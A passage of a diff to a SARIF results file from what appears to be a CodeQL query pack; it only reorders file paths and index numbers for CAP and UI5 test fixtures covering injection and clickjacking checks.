"javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 114 } @@ -5988,7 +6015,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 115 } @@ -6040,7 +6067,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/lib/qlpack.yml", + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 117 } @@ -6066,7 +6093,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", "uriBaseId" : "%SRCROOT%", "index" : 118 } @@ -6092,7 +6119,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 119 } @@ -6118,7 +6145,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/src/qlpack.yml", + "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 120 } @@ -6144,7 +6171,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/ui5/lib/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 121 } @@ -6170,7 +6197,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", + "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 122 } @@ -6196,7 +6223,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html", + "uri" : "javascript/frameworks/ui5/src/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 123 } @@ -6222,7 +6249,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js", + "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", "uriBaseId" : "%SRCROOT%", "index" : 124 } @@ -6248,7 +6275,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js", "uriBaseId" : "%SRCROOT%", "index" : 125 } @@ -6274,7 +6301,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html", "uriBaseId" : "%SRCROOT%", "index" : 126 } @@ -6300,7 +6327,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml", "uriBaseId" : "%SRCROOT%", "index" : 127 } @@ -6326,7 +6353,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml", + "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js", "uriBaseId" : "%SRCROOT%", "index" : 128 } @@ -6352,7 +6379,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml", + "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 129 } @@ -6378,7 +6405,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml", + "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json", "uriBaseId" : "%SRCROOT%", "index" : 130 } @@ -6404,7 +6431,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml", "uriBaseId" : "%SRCROOT%", "index" : 131 } @@ -6430,7 +6457,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml", + "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml", "uriBaseId" : "%SRCROOT%", "index" : 132 } @@ -6456,7 +6483,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml", + "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 133 } @@ -6482,7 +6509,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/qlpack.yml", + "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 134 } @@ -6508,7 +6535,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml", + "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml", "uriBaseId" : "%SRCROOT%", "index" : 135 } @@ -6534,7 +6561,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml", "uriBaseId" : "%SRCROOT%", "index" : 136 } @@ -6560,7 +6587,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", + "uri" : "javascript/frameworks/ui5/test/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 137 } @@ -6586,7 +6613,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 138 } @@ -6612,7 +6639,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 139 } @@ -6638,7 +6665,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 140 } @@ -6664,7 +6691,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 141 } @@ -6690,7 +6717,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html", "uriBaseId" : "%SRCROOT%", "index" : 142 } @@ -6716,7 +6743,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 143 } @@ -6742,7 +6769,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 144 } @@ -6768,7 +6795,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 145 } @@ -6794,7 +6821,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 146 } @@ -6820,7 +6847,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 147 } @@ -6846,7 +6873,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 148 } @@ -6872,7 +6899,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 149 } @@ -6898,7 +6925,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 150 } @@ -6924,7 +6951,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 151 } @@ -6950,7 +6977,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 152 } @@ -6976,7 +7003,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 153 } @@ -7002,7 +7029,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 154 } @@ -7028,7 +7055,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 155 } @@ -7054,7 +7081,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 156 } @@ -7080,7 +7107,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 157 } @@ -7106,7 +7133,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 158 } @@ -7132,7 +7159,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 159 } @@ -7158,7 +7185,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 160 } @@ -7184,7 +7211,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 161 } @@ -7210,7 +7237,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 162 } @@ -7236,7 +7263,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 163 } @@ -7262,7 +7289,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 164 } @@ -7288,7 +7315,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 165 } @@ -7314,7 +7341,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 166 } @@ -7366,9 +7393,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 3 + "index" : 168 } } } ], @@ -7392,9 +7419,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js", "uriBaseId" : "%SRCROOT%", - "index" : 168 + "index" : 3 } } } ], @@ -7418,7 +7445,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 169 } @@ -7444,7 +7471,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 170 } @@ -7470,7 +7497,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 171 } @@ -7496,7 +7523,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 172 } @@ -7522,7 +7549,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 173 } @@ -7548,7 +7575,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 174 } @@ -7574,7 +7601,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 175 } @@ -7600,7 +7627,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 176 } @@ -7626,7 +7653,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 177 } @@ -7652,7 +7679,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 178 } @@ -7678,7 +7705,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 179 } @@ -7704,7 +7731,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 180 } @@ -7730,7 +7757,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 181 } @@ -7756,7 +7783,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 182 } @@ -7782,7 +7809,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 183 } @@ -7808,7 +7835,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 184 } @@ -7834,7 +7861,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 185 } @@ -7860,7 +7887,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 186 } @@ -7886,7 +7913,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 187 } @@ -7912,7 +7939,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 188 } @@ -7938,7 +7965,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 189 } @@ -7964,7 +7991,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 190 } @@ -7990,7 +8017,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/package.json", "uriBaseId" : "%SRCROOT%", "index" : 191 } @@ -8016,7 +8043,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 192 } @@ -8042,7 +8069,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 193 } @@ -8068,7 +8095,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 194 } @@ -8094,7 +8121,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 195 } @@ -8120,7 +8147,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/package.json", "uriBaseId" : "%SRCROOT%", "index" : 196 } @@ -8172,7 +8199,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 198 } @@ -8198,7 +8225,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 199 } @@ -8224,7 +8251,7 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 200 } @@ -8250,7 +8277,7 @@ "locations" : [ { "physicalLocation" : { 